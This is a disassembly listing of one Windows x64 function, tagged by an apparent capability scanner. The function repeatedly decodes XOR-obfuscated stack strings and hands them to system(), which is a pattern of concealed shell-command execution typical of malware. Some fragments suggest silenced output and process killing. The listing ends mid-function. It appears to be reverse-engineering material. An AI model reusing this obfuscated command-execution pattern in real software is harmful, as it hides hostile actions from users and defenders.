Function at 0x14005b7e8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x9a8]
sub rsp, 0xa90
movdqa xmm0, xmmword [0x1401379f0]
xor esi, esi
movdqa xmm1, xmmword [0x1401372d0]
mov ecx, esi
movdqu xmmword [rbp + 0x190], xmm0
mov dword [rbp + 0x1b0], 0x22677a67
lea r14d, [rsi + 1]
mov dword [rbp + 0x1b4], 0x6e776c3c
movdqu xmmword [rbp + 0x1a0], xmm1
mov dword [rbp + 0x1b8], 0x243c3022
mov word [rbp + 0x1bc], gethostname
mov al, byte [rbp + 0x190]
xor byte [rbp + rcx + 0x191], al
add rcx, r14
cmp rcx, 0x2c
jb 0x14005b859
lea rcx, [rbp + 0x191]
mov byte [rbp + 0x1bd], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137a90]
xor eax, eax
movdqa xmm1, xmmword [0x140137ae0]
mov rcx, rsi
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x15e], al
movdqu xmmword [rbp + 0x140], xmm1
mov dword [rbp + 0x150], 0x7e637e35
mov dword [rbp + 0x154], 0x6e75253b
mov dword [rbp + 0x158], 0x25293b77
mov word [rbp + 0x15c], 0x2a3d
mov al, byte [rbp + 0x130]
xor byte [rbp + rcx + 0x131], al
add rcx, r14
cmp rcx, 0x2d
jb 0x14005b8d5
lea rcx, [rbp + 0x131]
mov byte [rbp + 0x15e], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137390]
xor eax, eax
movdqa xmm1, xmmword [0x140137b30]
mov rcx, rsi
movdqu xmmword [rbp + 0x368], xmm0
mov byte [rbp + 0x38c], al
movdqu xmmword [rbp + 0x378], xmm1
mov dword [rbp + 0x388], 0x6a7d6569
mov al, byte [rbp + 0x368]
xor byte [rbp + rcx + 0x369], al
add rcx, r14
cmp rcx, 0x23
jb 0x14005b934
lea rcx, [rbp + 0x369]
mov byte [rbp + 0x38c], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137330]
xor eax, eax
movdqa xmm1, xmmword [0x1401373a0]
mov rcx, rsi
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x216], al
movdqu xmmword [rbp + 0x200], xmm1
mov dword [rbp + 0x210], 0x7c70622e
mov word [rbp + 0x214], 0x7364
mov al, byte [rbp + 0x1f0]
xor byte [rbp + rcx + 0x1f1], al
add rcx, r14
cmp rcx, 0x25
jb 0x14005b99c
lea rcx, [rbp + 0x1f1]
mov byte [rbp + 0x216], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140136f80]
xor eax, eax
movdqa xmm1, xmmword [0x1401375c0]
mov rcx, rsi
movdqu xmmword [rbp + 0x390], xmm0
mov byte [rbp + 0x3b4], al
movdqu xmmword [rbp + 0x3a0], xmm1
mov dword [rbp + 0x3b0], 0x5a4d5559
mov al, byte [rbp + 0x390]
xor byte [rbp + rcx + 0x391], al
add rcx, r14
cmp rcx, 0x23
jb 0x14005b9fb
lea rcx, [rbp + 0x391]
mov byte [rbp + 0x3b4], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137490]
xor eax, eax
movdqa xmm1, xmmword [0x140137a20]
mov rcx, rsi
movdqu xmmword [rbp + 0x340], xmm0
mov byte [rbp + 0x364], al
movdqu xmmword [rbp + 0x350], xmm1
mov dword [rbp + 0x360], 0x62756d61
mov al, byte [rbp + 0x340]
xor byte [rbp + rcx + 0x341], al
add rcx, r14
cmp rcx, 0x23
jb 0x14005ba5a
lea rcx, [rbp + 0x341]
mov byte [rbp + 0x364], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137250]
xor eax, eax
movdqa xmm1, xmmword [0x140137b10]
mov rcx, rsi
movdqu xmmword [rbp + 0x4b8], xmm0
mov byte [rbp + 0x4da], al
movdqu xmmword [rbp + 0x4c8], xmm1
mov word [rbp + 0x4d8], 0x7562
mov al, byte [rbp + 0x4b8]
xor byte [rbp + rcx + 0x4b9], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005bab8
lea rcx, [rbp + 0x4b9]
mov byte [rbp + 0x4da], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137030]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137220]
movdqa xmmword [rbp + 0x890], xmm0
movdqa xmm0, xmmword [0x1401378a0]
movdqa xmmword [rbp + 0x8a0], xmm1
movdqa xmm1, xmmword [0x140136f20]
movdqa xmmword [rbp + 0x8b0], xmm0
movdqa xmmword [rbp + 0x8c0], xmm1
mov al, byte [rbp + 0x890]
xor byte [rbp + rcx + 0x891], al
add rcx, r14
cmp rcx, 0x3e
jb 0x14005bb25
lea rcx, [rbp + 0x891]
mov byte [rbp + 0x8cf], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137a10]
xor eax, eax
movdqa xmm1, xmmword [0x1401375b0]
mov rcx, rsi
movdqa xmmword [rbp + 0x750], xmm0
movdqa xmm0, xmmword [str._XO___H]
movdqa xmmword [rbp + 0x760], xmm1
movdqa xmm1, xmmword [0x140137010]
movdqa xmmword [rbp + 0x770], xmm0
movdqa xmmword [rbp + 0x780], xmm1
mov byte [rbp + 0x790], al
mov al, byte [rbp + 0x750]
xor byte [rbp + rcx + 0x751], al
add rcx, r14
cmp rcx, 0x3f
jb 0x14005bb9a
lea rcx, [rbp + 0x751]
mov byte [rbp + 0x790], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137680]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137af0]
movdqa xmmword [rbp + 0x660], xmm0
movdqa xmm0, xmmword [0x140137400]
movdqa xmmword [rbp + 0x670], xmm1
movdqa xmm1, xmmword [0x140137440]
movdqa xmmword [rbp + 0x680], xmm0
movdqa xmmword [rbp + 0x690], xmm1
mov word [rbp + 0x6a0], 0x2b
mov al, byte [rbp + 0x660]
xor byte [rbp + rcx + 0x661], al
add rcx, r14
cmp rcx, 0x40
jb 0x14005bc10
lea rcx, [rbp + 0x661]
mov byte [rbp + 0x6a1], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401371c0]
mov rcx, rsi
movdqa xmm1, xmmword [0x1401377a0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov dword [rbp + 0x1e0], 0x53160b16
movdqu xmmword [rbp + 0x1d0], xmm1
mov dword [rbp + 0x1e4], 0x1f061d4d
mov dword [rbp + 0x1e8], 0x554d4153
mov word [rbp + 0x1ec], 0x42
mov al, byte [rbp + 0x1c0]
xor byte [rbp + rcx + 0x1c1], al
add rcx, r14
cmp rcx, 0x2c
jb 0x14005bc84
lea rcx, [rbp + 0x1c1]
mov byte [rbp + 0x1ed], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137320]
xor eax, eax
movdqa xmm1, xmmword [0x1401371e0]
mov rcx, rsi
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xfe], al
movdqu xmmword [rbp + 0xe0], xmm1
mov dword [rbp + 0xf0], 0x263b266d
mov dword [rbp + 0xf4], 0x362d7d63
mov dword [rbp + 0xf8], 0x7d71632f
mov word [rbp + 0xfc], 0x7265
mov al, byte [rbp + 0xd0]
xor byte [rbp + rcx + 0xd1], al
add rcx, r14
cmp rcx, 0x2d
jb 0x14005bd00
lea rcx, [rbp + 0xd1]
mov byte [rbp + 0xfe], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137370]
xor eax, eax
movdqa xmm1, xmmword [0x140137900]
mov rcx, rsi
movdqu xmmword [rbp + 0x5e0], xmm0
mov byte [rbp + 0x602], al
movdqu xmmword [rbp + 0x5f0], xmm1
mov word [rbp + 0x600], 0x6770
mov al, byte [rbp + 0x5e0]
xor byte [rbp + rcx + 0x5e1], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005bd5e
lea rcx, [rbp + 0x5e1]
mov byte [rbp + 0x602], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137690]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137b60]
movdqa xmmword [rbp + 0x8d0], xmm0
movdqa xmm0, xmmword [0x140137470]
movdqa xmmword [rbp + 0x8e0], xmm1
movdqa xmm1, xmmword [str.2_2Ishq___]
movdqa xmmword [rbp + 0x8f0], xmm0
movdqa xmmword [rbp + 0x900], xmm1
mov al, byte [rbp + 0x8d0]
xor byte [rbp + rcx + 0x8d1], al
add rcx, r14
cmp rcx, 0x3e
jb 0x14005bdcb
lea rcx, [rbp + 0x8d1]
mov byte [rbp + 0x90f], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401377d0]
xor eax, eax
movdqa xmm1, xmmword [0x1401378c0]
mov rcx, rsi
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm0, xmmword [0x140137480]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm1, xmmword [0x140137280]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmmword [rbp + 0x870], xmm1
mov byte [rbp + 0x880], al
mov al, byte [rbp + 0x840]
xor byte [rbp + rcx + 0x841], al
add rcx, r14
cmp rcx, 0x3f
jb 0x14005be40
lea rcx, [rbp + 0x841]
mov byte [rbp + 0x880], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137030]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137260]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm0, xmmword [0x140137890]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm1, xmmword [0x140137870]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmmword [rbp + 0x6e0], xmm1
mov word [rbp + 0x6f0], reloc.WS2_32.dll_WSACleanup
mov al, byte [rbp + 0x6b0]
xor byte [rbp + rcx + 0x6b1], al
add rcx, r14
cmp rcx, 0x40
jb 0x14005beb6
lea rcx, [rbp + 0x6b1]
mov byte [rbp + 0x6f1], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401374d0]
xor eax, eax
movdqa xmm1, xmmword [0x140137990]
mov r15d, 0x3a
movdqu xmmword [rbp + 0x3b8], xmm0
mov rcx, rsi
mov dword [rbp + 0x3e8], 0x7d663628
movdqa xmm0, xmmword [0x140137780]
movdqu xmmword [rbp + 0x3d8], xmm0
mov dword [rbp + 0x3ec], 0x363a2864
movdqu xmmword [rbp + 0x3c8], xmm1
mov word [rbp + 0x3f0], 0x392e
mov byte [rbp + 0x3f2], al
mov al, byte [rbp + 0x3b8]
xor byte [rbp + rcx + 0x3b9], al
add rcx, r14
cmp rcx, 0x39
jb 0x14005bf3e
lea rcx, [rbp + 0x3b9]
mov byte [rbp + 0x3f2], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137550]
xor eax, eax
movdqa xmm1, xmmword [0x140137950]
mov rcx, rsi
movdqu xmmword [rbp + 0x3f8], xmm0
mov dword [rbp + 0x428], 0x7a61312f
movdqa xmm0, xmmword [0x140137770]
movdqu xmmword [rbp + 0x418], xmm0
mov dword [rbp + 0x42c], 0x313d2f63
movdqu xmmword [rbp + 0x408], xmm1
mov word [rbp + 0x430], 0x3e29
mov byte [rbp + 0x432], al
mov al, byte [rbp + 0x3f8]
xor byte [rbp + rcx + 0x3f9], al
add rcx, r14
cmp rcx, 0x39
jb 0x14005bfc0
lea rcx, [rbp + 0x3f9]
mov byte [rbp + 0x432], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137830]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137640]
movdqu xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x330], 0x4717097d
movdqa xmm0, xmmword [0x140136f90]
movdqu xmmword [rbp + 0x320], xmm0
mov dword [rbp + 0x334], 0x1b09455c
movdqu xmmword [rbp + 0x310], xmm1
mov dword [rbp + 0x338], 0x180f17
mov al, byte [rbp + 0x300]
xor byte [rbp + rcx + 0x301], al
add rcx, r14
cmp rcx, r15
jb 0x14005c03b
lea rcx, [rbp + 0x301]
mov byte [rbp + 0x33b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137550]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137970]
movdqu xmmword [rbp + 0x2c0], xmm0
mov dword [rbp + 0x2f0], 0x61312f5b
movdqa xmm0, xmmword [str.cj____FB____I__c_v]
movdqu xmmword [rbp + 0x2e0], xmm0
mov dword [rbp + 0x2f4], 0x3d2f637a
movdqu xmmword [rbp + 0x2d0], xmm1
mov dword [rbp + 0x2f8], 0x3e2931
mov al, byte [rbp + 0x2c0]
xor byte [rbp + rcx + 0x2c1], al
add rcx, r14
cmp rcx, r15
jb 0x14005c0b5
lea rcx, [rbp + 0x2c1]
mov byte [rbp + 0x2fb], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137310]
mov rcx, rsi
movdqa xmm1, xmmword [str.______D]
movdqu xmmword [rbp + 0x280], xmm0
mov dword [rbp + 0x2b0], 0xa5a4430
movdqa xmm0, xmmword [0x1401375e0]
movdqu xmmword [rbp + 0x2a0], xmm0
mov dword [rbp + 0x2b4], 0x56440811
movdqu xmmword [rbp + 0x290], xmm1
mov dword [rbp + 0x2b8], 0x55425a
mov al, byte [rbp + 0x280]
xor byte [rbp + rcx + 0x281], al
add rcx, r14
cmp rcx, r15
jb 0x14005c12f
lea rcx, [rbp + 0x281]
mov byte [rbp + 0x2bb], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137880]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137810]
movdqu xmmword [rbp + 0x240], xmm0
mov dword [rbp + 0x270], 0x43130d79
movdqa xmm0, xmmword [str.AH_a]
movdqu xmmword [rbp + 0x260], xmm0
mov dword [rbp + 0x274], 0x1f0d4158
movdqu xmmword [rbp + 0x250], xmm1
mov dword [rbp + 0x278], 0x1c0b13
mov al, byte [rbp + 0x240]
xor byte [rbp + rcx + 0x241], al
add rcx, r14
cmp rcx, r15
jb 0x14005c1a9
lea rcx, [rbp + 0x241]
mov byte [rbp + 0x27b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137500]
mov rcx, rsi
movdqa xmm1, xmmword [0x1401379a0]
movdqa xmmword [rbp + 0x910], xmm0
movdqa xmm0, xmmword [0x1401372e0]
movdqa xmmword [rbp + 0x920], xmm1
movdqa xmm1, xmmword [str._K__Y_3cxa__3_]
movdqa xmmword [rbp + 0x930], xmm0
movdqa xmmword [rbp + 0x940], xmm1
mov al, byte [rbp + 0x910]
xor byte [rbp + rcx + 0x911], al
add rcx, r14
cmp rcx, 0x3e
jb 0x14005c215
lea rcx, [rbp + 0x911]
mov byte [rbp + 0x94f], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401378e0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137020]
movdqu xmmword [rbp + 0x4e0], xmm0
mov dword [rbp + 0x510], 0x13014d54
movdqa xmm0, xmmword [0x140137610]
movdqu xmmword [rbp + 0x500], xmm0
mov dword [rbp + 0x514], 0x10071f
movdqu xmmword [rbp + 0x4f0], xmm1
mov al, byte [rbp + 0x4e0]
xor byte [rbp + rcx + 0x4e1], al
add rcx, r14
cmp rcx, 0x36
jb 0x14005c286
lea rcx, [rbp + 0x4e1]
mov byte [rbp + 0x517], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401373f0]
xor eax, eax
movdqa xmm1, xmmword [str.175_15P]
mov rcx, rsi
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm0, xmmword [0x140137750]
movdqa xmmword [rbp + 0x7b0], xmm1
movdqa xmm1, xmmword [0x1401374f0]
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmmword [rbp + 0x7d0], xmm1
mov byte [rbp + 0x7e0], al
mov al, byte [rbp + 0x7a0]
xor byte [rbp + rcx + 0x7a1], al
add rcx, r14
cmp rcx, 0x3f
jb 0x14005c2fb
lea rcx, [rbp + 0x7a1]
mov byte [rbp + 0x7e0], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401379c0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137510]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm0, xmmword [str.BTTOFDLBU_r]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm1, xmmword [str._r_a_ba_a_bs_a]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmmword [rbp + 0x730], xmm1
mov word [rbp + 0x740], socket
mov al, byte [rbp + 0x700]
xor byte [rbp + rcx + 0x701], al
add rcx, r14
cmp rcx, 0x40
jb 0x14005c371
lea rcx, [rbp + 0x701]
mov byte [rbp + 0x741], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137530]
xor eax, eax
movdqa xmm1, xmmword [str.R__BUwUH_a]
mov rcx, rsi
movdqu xmmword [rbp + 0x5b8], xmm0
mov byte [rbp + 0x5da], al
movdqu xmmword [rbp + 0x5c8], xmm1
mov word [rbp + 0x5d8], 0x1601
mov al, byte [rbp + 0x5b8]
xor byte [rbp + rcx + 0x5b9], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005c3cf
lea rcx, [rbp + 0x5b9]
mov byte [rbp + 0x5da], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137a70]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137ad0]
movdqu xmmword [rbp + 0x218], xmm0
mov dword [rbp + 0x238], 0x322a2634
movdqu xmmword [rbp + 0x228], xmm1
mov word [rbp + 0x23c], 0x25
mov al, byte [rbp + 0x218]
xor byte [rbp + rcx + 0x219], al
add rcx, r14
cmp rcx, 0x24
jb 0x14005c42f
lea rcx, [rbp + 0x219]
mov byte [rbp + 0x23d], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140136f70]
xor eax, eax
movdqa xmm1, xmmword [0x1401375f0]
mov rcx, rsi
movdqu xmmword [rbp + 0x518], xmm0
mov byte [rbp + 0x53a], al
movdqu xmmword [rbp + 0x528], xmm1
mov word [rbp + 0x538], 0x4156
mov al, byte [rbp + 0x518]
xor byte [rbp + rcx + 0x519], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005c48d
lea rcx, [rbp + 0x519]
mov byte [rbp + 0x53a], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137180]
xor eax, eax
movdqa xmm1, xmmword [0x140137760]
mov rcx, rsi
movdqu xmmword [rbp + 0x590], xmm0
mov byte [rbp + 0x5b2], al
movdqu xmmword [rbp + 0x5a0], xmm1
mov word [rbp + 0x5b0], 0x5542
mov al, byte [rbp + 0x590]
xor byte [rbp + rcx + 0x591], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005c4eb
lea rcx, [rbp + 0x591]
mov byte [rbp + 0x5b2], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140136f60]
xor eax, eax
movdqa xmm1, xmmword [0x140137620]
mov rcx, rsi
movdqu xmmword [rbp + 0x568], xmm0
mov byte [rbp + 0x58a], al
movdqu xmmword [rbp + 0x578], xmm1
mov word [rbp + 0x588], 0x4057
mov al, byte [rbp + 0x568]
xor byte [rbp + rcx + 0x569], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005c549
lea rcx, [rbp + 0x569]
mov byte [rbp + 0x58a], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137a40]
xor eax, eax
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x8c], al
mov rcx, rsi
mov dword [rbp + 0x80], 0x2c327960
mov dword [rbp + 0x84], 0x327e677c
mov dword [rbp + 0x88], 0x23342c20
mov al, byte [rbp + 0x70]
xor byte [rbp + rcx + 0x71], al
add rcx, r14
cmp rcx, 0x1b
jb 0x14005c5a9
lea rcx, [rbp + 0x71]
mov byte [rbp + 0x8c], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140136f80]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137520]
movdqu xmmword [rbp + 0x160], xmm0
mov dword [rbp + 0x180], 0x4b0e130e
movdqu xmmword [rbp + 0x170], xmm1
mov dword [rbp + 0x184], 0x71e0555
mov dword [rbp + 0x188], 0x4d55594b
mov word [rbp + 0x18c], 0x5a
mov al, byte [rbp + 0x160]
xor byte [rbp + rcx + 0x161], al
add rcx, r14
cmp rcx, 0x2c
jb 0x14005c614
lea rcx, [rbp + 0x161]
mov byte [rbp + 0x18d], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137660]
xor eax, eax
movdqa xmm1, xmmword [0x140137800]
mov rcx, rsi
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x12e], al
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x120], 0x59445912
mov dword [rbp + 0x124], 0x4952021c
mov dword [rbp + 0x128], 0x20e1c50
mov word [rbp + 0x12c], 0xd1a
mov al, byte [rbp + 0x100]
xor byte [rbp + rcx + 0x101], al
add rcx, r14
cmp rcx, 0x2d
jb 0x14005c690
lea rcx, [rbp + 0x101]
mov byte [rbp + 0x12e], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137050]
xor eax, eax
movdqa xmm1, xmmword [0x140137670]
mov rcx, rsi
movdqu xmmword [rbp + 0x540], xmm0
mov byte [rbp + 0x562], al
movdqu xmmword [rbp + 0x550], xmm1
mov word [rbp + 0x560], 0x5e49
mov al, byte [rbp + 0x540]
xor byte [rbp + rcx + 0x541], al
add rcx, r14
cmp rcx, 0x21
jb 0x14005c6ee
lea rcx, [rbp + 0x541]
mov byte [rbp + 0x562], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137650]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137b00]
movdqa xmmword [rbp + 0x950], xmm0
movdqa xmm0, xmmword [0x1401373c0]
movdqa xmmword [rbp + 0x960], xmm1
movdqa xmm1, xmmword [str.787L8vmt8__]
movdqa xmmword [rbp + 0x970], xmm0
movdqa xmmword [rbp + 0x980], xmm1
mov al, byte [rbp + 0x950]
xor byte [rbp + rcx + 0x951], al
add rcx, r14
cmp rcx, 0x3e
jb 0x14005c75b
lea rcx, [rbp + 0x951]
mov byte [rbp + 0x98f], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401379c0]
xor eax, eax
movdqa xmm1, xmmword [0x1401376e0]
mov rcx, rsi
movdqa xmmword [rbp + 0x7f0], xmm0
movdqa xmm0, xmmword [0x140137040]
movdqa xmmword [rbp + 0x800], xmm1
movdqa xmm1, xmmword [str._a_ba_a_bs_a]
movdqa xmmword [rbp + 0x810], xmm0
movdqa xmmword [rbp + 0x820], xmm1
mov byte [rbp + 0x830], al
mov al, byte [rbp + 0x7f0]
xor byte [rbp + rcx + 0x7f1], al
add rcx, r14
cmp rcx, 0x3f
jb 0x14005c7d0
lea rcx, [rbp + 0x7f1]
mov byte [rbp + 0x830], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401379e0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140137540]
movdqa xmmword [rbp + 0x610], xmm0
movdqa xmm0, xmmword [str.CUUNGEMCT_f]
movdqa xmmword [rbp + 0x620], xmm1
movdqa xmm1, xmmword [0x140136eb0]
movdqa xmmword [rbp + 0x630], xmm0
movdqa xmmword [rbp + 0x640], xmm1
mov word [rbp + 0x650], reloc.WS2_32.dll_socket
mov al, byte [rbp + 0x610]
xor byte [rbp + rcx + 0x611], al
add rcx, r14
cmp rcx, 0x40
jb 0x14005c846
lea rcx, [rbp + 0x611]
mov byte [rbp + 0x651], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137080]
xor eax, eax
movdqa xmm1, xmmword [0x1401371f0]
mov rcx, rsi
movdqu xmmword [rbp + 0x438], xmm0
mov dword [rbp + 0x468], 0x312a7a64
movdqa xmm0, xmmword [str.nfdk_r_tdndk]
movdqu xmmword [rbp + 0x458], xmm0
mov dword [rbp + 0x46c], 0x7a766428
movdqu xmmword [rbp + 0x448], xmm1
mov word [rbp + 0x470], 0x7562
mov byte [rbp + 0x472], al
mov al, byte [rbp + 0x438]
xor byte [rbp + rcx + 0x439], al
add rcx, r14
cmp rcx, 0x39
jb 0x14005c8c8
lea rcx, [rbp + 0x439]
mov byte [rbp + 0x472], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401378b0]
xor eax, eax
movdqa xmm1, xmmword [0x1401375d0]
mov rcx, rsi
movdqu xmmword [rbp + 0x478], xmm0
mov dword [rbp + 0x4a8], 0x5a41110f
movdqa xmm0, xmmword [0x140137b20]
movdqu xmmword [rbp + 0x498], xmm0
mov dword [rbp + 0x4ac], 0x111d0f43
movdqu xmmword [rbp + 0x488], xmm1
mov word [rbp + 0x4b0], 0x1e09
mov byte [rbp + 0x4b2], al
mov al, byte [rbp + 0x478]
xor byte [rbp + rcx + 0x479], al
add rcx, r14
cmp rcx, 0x39
jb 0x14005c94a
lea rcx, [rbp + 0x479]
mov byte [rbp + 0x4b2], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140137290]
lea rcx, [rbp + 0x90]
movdqa xmm1, xmmword [str._.__._O_n]
mov dl, 0x3e
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0xc0], 0x4f3b
movdqa xmm0, xmmword [0x1401374b0]
movdqu xmmword [rbp + 0xb0], xmm0
movdqu xmmword [rbp + 0xa0], xmm1
call fcn.140060eb8
mov dl, WSAGetLastError
mov byte [rbp + 0xc2], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x75
mov byte [rbp + 0xc3], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0xc4], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x20
mov byte [rbp + 0xc5], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x32
mov byte [rbp + 0xc6], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x3e
mov byte [rbp + 0xc7], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x26
mov byte [rbp + 0xc8], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov dl, 0x31
mov byte [rbp + 0xc9], al
lea rcx, [rbp + 0x90]
call fcn.140060eb8
mov byte [rbp + 0xca], al
mov rdi, rsi
xor eax, eax
mov byte [rbp + 0xcb], al
mov rdx, rdi
lea rcx, [rbp + 0x91]
call fcn.140060ec0
lea rcx, [rbp + 0x90]
mov dl, byte [rax]
call fcn.140060eb8
mov rdx, rdi
lea rcx, [rbp + 0x91]
mov bl, al
call fcn.140060ec0
add rdi, r14
mov byte [rax], bl
cmp rdi, r15
jb 0x14005ca6c
mov rdx, r15
lea rcx, [rbp + 0x91]
call fcn.140060ec0
lea rcx, [rbp + 0x91]
mov byte [rax], sil
call fcn.1400560b0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x30], 0x68
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x61
mov byte [rbp + 0x31], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x32], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp + 0x33], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6b
mov byte [rbp + 0x34], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x69
mov byte [rbp + 0x35], al
lea rcx, [rbp + 0x30]
call fcn.140060eb8
mov dl, 0x6c
mov byte [rbp + 0x36], al
